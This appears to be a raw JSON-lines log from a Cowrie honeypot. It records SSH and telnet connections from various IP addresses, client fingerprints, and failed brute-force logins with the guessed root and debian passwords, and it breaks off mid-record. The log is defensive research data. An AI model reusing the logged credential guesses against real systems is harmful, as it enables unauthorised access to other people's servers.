{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":50831,"dst_ip":"159.203.135.109","dst_port":22,"session":"c09f600f07c1","protocol":"ssh","message":"New connection: 223.197.186.7:50831 (159.203.135.109:22) [session: c09f600f07c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:11.103755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:11.109159Z","src_ip":"223.197.186.7","session":"c09f600f07c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:11.330691Z","src_ip":"223.197.186.7","session":"c09f600f07c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12qw","message":"login attempt [root/12qw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:12.211465Z","src_ip":"223.197.186.7","session":"c09f600f07c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.197.152","src_port":60188,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9a37a593e02","protocol":"ssh","message":"New connection: 64.62.197.152:60188 (159.203.135.109:22) [session: d9a37a593e02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:12.734784Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003p\\x966U),\\xb8\\xa2\\x8a\u0284i\\xe7y\r~!\\xc8;\u048d\\xfe\u0002FA\u06f1I#\\xd4\\xc1\\xf6\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003p\\x966U),\\xb8\\xa2\\x8a\u0284i\\xe7y\r~!\\xc8;\u048d\\xfe\u0002FA\u06f1I#\\xd4\\xc1\\xf6\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:12.740367Z","src_ip":"64.62.197.152","session":"d9a37a593e02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:12.744355Z","src_ip":"64.62.197.152","session":"d9a37a593e02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:13.425318Z","src_ip":"223.197.186.7","session":"c09f600f07c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":38526,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4d053f6799e","protocol":"telnet","message":"New connection: 178.128.93.180:38526 (10.17.0.5:23) [session: c4d053f6799e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:13.737718Z"}
{"eventid":"cowrie.session.closed","duration":32.9581823348999,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:14.198026Z","src_ip":"69.4.83.194","session":"165f11617f58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.183.120.56","src_port":59294,"dst_ip":"159.203.135.109","dst_port":22,"session":"bca9e54cc949","protocol":"ssh","message":"New connection: 213.183.120.56:59294 (159.203.135.109:22) [session: bca9e54cc949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:21.552427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:21.557323Z","src_ip":"213.183.120.56","session":"bca9e54cc949","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:21.730336Z","src_ip":"213.183.120.56","session":"bca9e54cc949","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A12345","message":"login attempt [root/A12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:22.449040Z","src_ip":"213.183.120.56","session":"bca9e54cc949","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:23.630090Z","src_ip":"213.183.120.56","session":"bca9e54cc949","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":45084,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdee90f26039","protocol":"ssh","message":"New connection: 87.251.79.125:45084 (159.203.135.109:22) [session: bdee90f26039]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:25.275410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:25.280982Z","src_ip":"87.251.79.125","session":"bdee90f26039","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:25.356729Z","src_ip":"87.251.79.125","session":"bdee90f26039","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oleg12345","message":"login attempt [root/oleg12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:25.579679Z","src_ip":"87.251.79.125","session":"bdee90f26039","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:26.655223Z","src_ip":"87.251.79.125","session":"bdee90f26039","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":45014,"dst_ip":"159.203.135.109","dst_port":22,"session":"61f3343b7073","protocol":"ssh","message":"New connection: 103.122.221.179:45014 (159.203.135.109:22) [session: 61f3343b7073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:29.432670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:29.437091Z","src_ip":"103.122.221.179","session":"61f3343b7073","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:29.696468Z","src_ip":"103.122.221.179","session":"61f3343b7073","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gjpbnbd","message":"login attempt [root/gjpbnbd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:30.462070Z","src_ip":"103.122.221.179","session":"61f3343b7073","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.174.185","src_port":60004,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ea1a74f8ed0","protocol":"ssh","message":"New connection: 167.172.174.185:60004 (159.203.135.109:22) [session: 9ea1a74f8ed0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:31.708854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:31.713943Z","src_ip":"167.172.174.185","session":"9ea1a74f8ed0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:31.720288Z","src_ip":"103.122.221.179","session":"61f3343b7073","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:31.808376Z","src_ip":"167.172.174.185","session":"9ea1a74f8ed0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yl123456","message":"login attempt [root/Yl123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:32.209220Z","src_ip":"167.172.174.185","session":"9ea1a74f8ed0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:33.309101Z","src_ip":"167.172.174.185","session":"9ea1a74f8ed0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":38364,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c435d3e642e","protocol":"ssh","message":"New connection: 194.113.233.25:38364 (159.203.135.109:22) [session: 4c435d3e642e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:33.536732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:33.543795Z","src_ip":"194.113.233.25","session":"4c435d3e642e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:33.637087Z","src_ip":"194.113.233.25","session":"4c435d3e642e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678f","message":"login attempt [root/12345678f] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:33.917667Z","src_ip":"194.113.233.25","session":"4c435d3e642e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:35.014217Z","src_ip":"194.113.233.25","session":"4c435d3e642e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.70.224.28","src_port":48726,"dst_ip":"159.203.135.109","dst_port":22,"session":"0bdfaa850e92","protocol":"ssh","message":"New connection: 81.70.224.28:48726 (159.203.135.109:22) [session: 0bdfaa850e92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:47.997939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:48.001773Z","src_ip":"81.70.224.28","session":"0bdfaa850e92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:48.275494Z","src_ip":"81.70.224.28","session":"0bdfaa850e92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"qwedsa@123","message":"login attempt [debian/qwedsa@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:52.109674Z","src_ip":"81.70.224.28","session":"0bdfaa850e92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:54.060510Z","src_ip":"81.70.224.28","session":"0bdfaa850e92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":48872,"dst_ip":"159.203.135.109","dst_port":23,"session":"246e022b3e62","protocol":"telnet","message":"New connection: 69.4.83.194:48872 (159.203.135.109:23) [session: 246e022b3e62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:56.548602Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:57.326888Z","src_ip":"213.183.120.56","session":"034ffa76c4bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":38660,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ea12dea16be","protocol":"ssh","message":"New connection: 103.148.100.146:38660 (159.203.135.109:22) [session: 2ea12dea16be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:59.681526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:59.686187Z","src_ip":"103.148.100.146","session":"2ea12dea16be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac